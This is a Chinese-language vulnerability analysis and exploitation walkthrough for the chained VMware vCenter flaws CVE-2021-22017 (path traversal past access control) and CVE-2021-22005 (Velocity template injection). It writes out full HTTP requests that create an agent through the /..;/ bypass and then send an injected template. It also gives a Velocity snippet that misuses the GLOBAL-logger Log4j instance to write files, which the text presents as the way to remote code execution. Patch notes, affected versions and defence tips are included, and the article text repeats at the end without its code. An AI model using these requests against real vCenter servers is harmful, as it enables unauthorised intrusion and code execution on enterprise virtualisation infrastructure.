CVE-2021-22017+22005模板注入分析
字数 1546 2025-08-25 22:59:10

CVE-2021-22017+22005 VMware vCenter 模板注入漏洞分析与利用

漏洞概述

CVE-2021-22017和CVE-2021-22005是VMware vCenter Server中的两个安全漏洞,通过组合利用可以实现远程代码执行。这两个漏洞主要涉及:

  1. CVE-2021-22005:Velocity模板注入漏洞,存在于/analytics/ph/api/dataapp/agent接口的collect功能中
  2. CVE-2021-22017:路径遍历漏洞,允许通过/..;/绕过访问限制

漏洞背景

VMware vCenter Server是VMware虚拟化环境中的集中管理平台,这两个漏洞的组合利用允许攻击者在未授权的情况下执行任意代码。

漏洞分析

1. 受影响的接口

漏洞主要存在于以下两个接口:

  1. createAgent接口

    POST /analytics/ph/api/dataapp/agent
    

    用于创建新的agent

  2. collect接口

    POST /analytics/ph/api/dataapp/agent?action=collect
    

    用于执行Velocity模板渲染

2. 访问限制绕过 (CVE-2021-22017)

由于某些版本的vCenter对/analytics/ph/api/dataapp/agent接口做了访问控制,需要通过路径遍历绕过:

/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent

3. Velocity模板注入 (CVE-2021-22005)

collect接口处理manifestContent参数时,其中的mappingCode部分会被当作Velocity模板执行,导致模板注入漏洞。

漏洞利用步骤

1. 创建Agent

首先需要创建一个agent,每次请求需要修改X-Plugin-Type头部:

POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: [target]
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: [unique_value]
Content-Length: 354

{
  "manifestSpec": {
    "resourceId": "b1",
    "dataType": "b2",
    "objectId": "b3",
    "versionDataType": "b4",
    "versionObjectId": "b5"
  },
  "objectType": "a1",
  "collectionTriggerDataNeeded": true,
  "deploymentDataNeeded": true,
  "resultNeeded": true,
  "signalCollectionCompleted": true,
  "localManifestPath": "a2",
  "localPayloadPath": "a3",
  "localObfuscationMapPath": "a4"
}

2. 执行模板注入

创建agent后,通过collect接口执行Velocity模板:

POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: [target]
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: [same_unique_value_as_create]
Content-Length: [length]

{
  "manifestContent": "<manifest recommendedPageSize=\"500\">\n   <request>\n      <query name=\"vir:VCenter\">\n         <constraint>\n            <targetType>ServiceInstance</targetType>\n         </constraint>\n         <propertySpec>\n            <propertyNames>content.about.instanceUuid</propertyNames>\n            <propertyNames>content.about.osType</propertyNames>\n            <propertyNames>content.about.build</propertyNames>\n            <propertyNames>content.about.version</propertyNames>\n         </propertySpec>\n      </query>\n   </request>\n   <cdfMapping>\n      <indepedentResultsMapping>\n         <resultSetMappings>\n            <entry>\n               <key>vir:VCenter</key>\n               <value>\n                  <value xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"resultSetMapping\">\n                     <resourceItemToJsonLdMapping>\n                        <forType>ServiceInstance</forType>\n                     <mappingCode><![CDATA[\n                        #set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())\n                        #set($objectId = \"vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid\")\n                        #set($obj = $LOCAL-cdf20Result.newObject(\"vim.ServiceInstance\", $objectId))\n                        $obj.addProperty(\"MSG\", \"exist\")\n                        $obj.addProperty(\"OSTYPE\", $content-about-osType)\n                        $obj.addProperty(\"BUILD\", $content-about-build)\n                        $obj.addProperty(\"VERSION\", $content-about-version)]]>\n                     </mappingCode>\n                     </resourceItemToJsonLdMapping>\n                  </value>\n               </value>\n            </entry>\n         </resultSetMappings>\n      </indepedentResultsMapping>\n   </cdfMapping>\n   <requestSchedules>\n      <schedule interval=\"1h\">\n         <queries>\n            <query>vir:VCenter</query>\n         </queries>\n      </schedule>\n   </requestSchedules>\n</manifest>",
  "contextData": "a2",
  "objectId": "a3"
}

3. 利用GLOBAL-logger实现RCE

通过GLOBAL-logger变量(Log4j实例)可以实现文件写入:

#set($log=$GLOBAL-logger)
$log.setAdditivity(false)
$log.setLevel($log.getLogger().getLevel().INFO)
$log.getLogger().addAppender($log.getLogger().getRootLogger().getAppender("FILE"))
$log.info("恶意内容")

技术细节

1. Agent创建机制

创建agent时会生成一个配置文件:

/etc/vmware-analytics/agents/[agentId.getCollectorId() + pluginType + ".properties"]

agentId由四个参数决定:

  1. collectorId
  2. collectorInstanceId
  3. deploymentSecret
  4. pluginType

2. Velocity上下文变量

可用的上下文变量包括:

  • $LOCAL-resourceItem
  • $LOCAL-cdf20Result
  • $GLOBAL-logger (Log4j实例)
  • $content-about-build
  • $content-about-version

3. Velocity模板执行流程

  1. 解析manifest获取mappingCode
  2. 调用VelocityHelper.executeVelocityExpression执行Velocity表达式
  3. 结果通过VelocityJsonLd转换为JSON返回

补丁分析

VMware通过以下方式修复了这些漏洞:

  1. 完全删除了存在漏洞的collect接口
  2. DataAppAgentId类中添加了ID格式检查
  3. 添加了IncorrectFormat异常处理

影响版本

受影响版本:

  • vCenter Server 6.7(特定版本)

已修复版本:

  • vCenter Appliance 6.7 Update 3k (6.7.0.45100)

防御建议

  1. 及时更新到最新版本
  2. 限制对vCenter管理接口的访问
  3. 监控异常日志文件创建行为

总结

CVE-2021-22017和CVE-2021-22005的组合利用展示了VMware vCenter Server中一个严重的安全问题,允许攻击者通过Velocity模板注入实现远程代码执行。理解这些漏洞的机制对于防御类似攻击具有重要意义。

CVE-2021-22017+22005 VMware vCenter 模板注入漏洞分析与利用 漏洞概述 CVE-2021-22017和CVE-2021-22005是VMware vCenter Server中的两个安全漏洞,通过组合利用可以实现远程代码执行。这两个漏洞主要涉及: CVE-2021-22005 :Velocity模板注入漏洞,存在于 /analytics/ph/api/dataapp/agent 接口的 collect 功能中 CVE-2021-22017 :路径遍历漏洞,允许通过 /..;/ 绕过访问限制 漏洞背景 VMware vCenter Server是VMware虚拟化环境中的集中管理平台,这两个漏洞的组合利用允许攻击者在未授权的情况下执行任意代码。 漏洞分析 1. 受影响的接口 漏洞主要存在于以下两个接口: createAgent接口 : 用于创建新的agent collect接口 : 用于执行Velocity模板渲染 2. 访问限制绕过 (CVE-2021-22017) 由于某些版本的vCenter对 /analytics/ph/api/dataapp/agent 接口做了访问控制,需要通过路径遍历绕过: 3. Velocity模板注入 (CVE-2021-22005) collect 接口处理 manifestContent 参数时,其中的 mappingCode 部分会被当作Velocity模板执行,导致模板注入漏洞。 漏洞利用步骤 1. 创建Agent 首先需要创建一个agent,每次请求需要修改 X-Plugin-Type 头部: 2. 执行模板注入 创建agent后,通过collect接口执行Velocity模板: 3. 利用GLOBAL-logger实现RCE 通过 GLOBAL-logger 变量(Log4j实例)可以实现文件写入: 技术细节 1. Agent创建机制 创建agent时会生成一个配置文件: agentId由四个参数决定: collectorId collectorInstanceId deploymentSecret pluginType 2. Velocity上下文变量 可用的上下文变量包括: $LOCAL-resourceItem $LOCAL-cdf20Result $GLOBAL-logger (Log4j实例) $content-about-build $content-about-version 3. Velocity模板执行流程 解析manifest获取mappingCode 调用 VelocityHelper.executeVelocityExpression 执行Velocity表达式 结果通过 VelocityJsonLd 转换为JSON返回 补丁分析 VMware通过以下方式修复了这些漏洞: 完全删除了存在漏洞的 collect 接口 在 DataAppAgentId 类中添加了ID格式检查 添加了 IncorrectFormat 异常处理 影响版本 受影响版本: vCenter Server 6.7(特定版本) 已修复版本: vCenter Appliance 6.7 Update 3k (6.7.0.45100) 防御建议 及时更新到最新版本 限制对vCenter管理接口的访问 监控异常日志文件创建行为 总结 CVE-2021-22017和CVE-2021-22005的组合利用展示了VMware vCenter Server中一个严重的安全问题,允许攻击者通过Velocity模板注入实现远程代码执行。理解这些漏洞的机制对于防御类似攻击具有重要意义。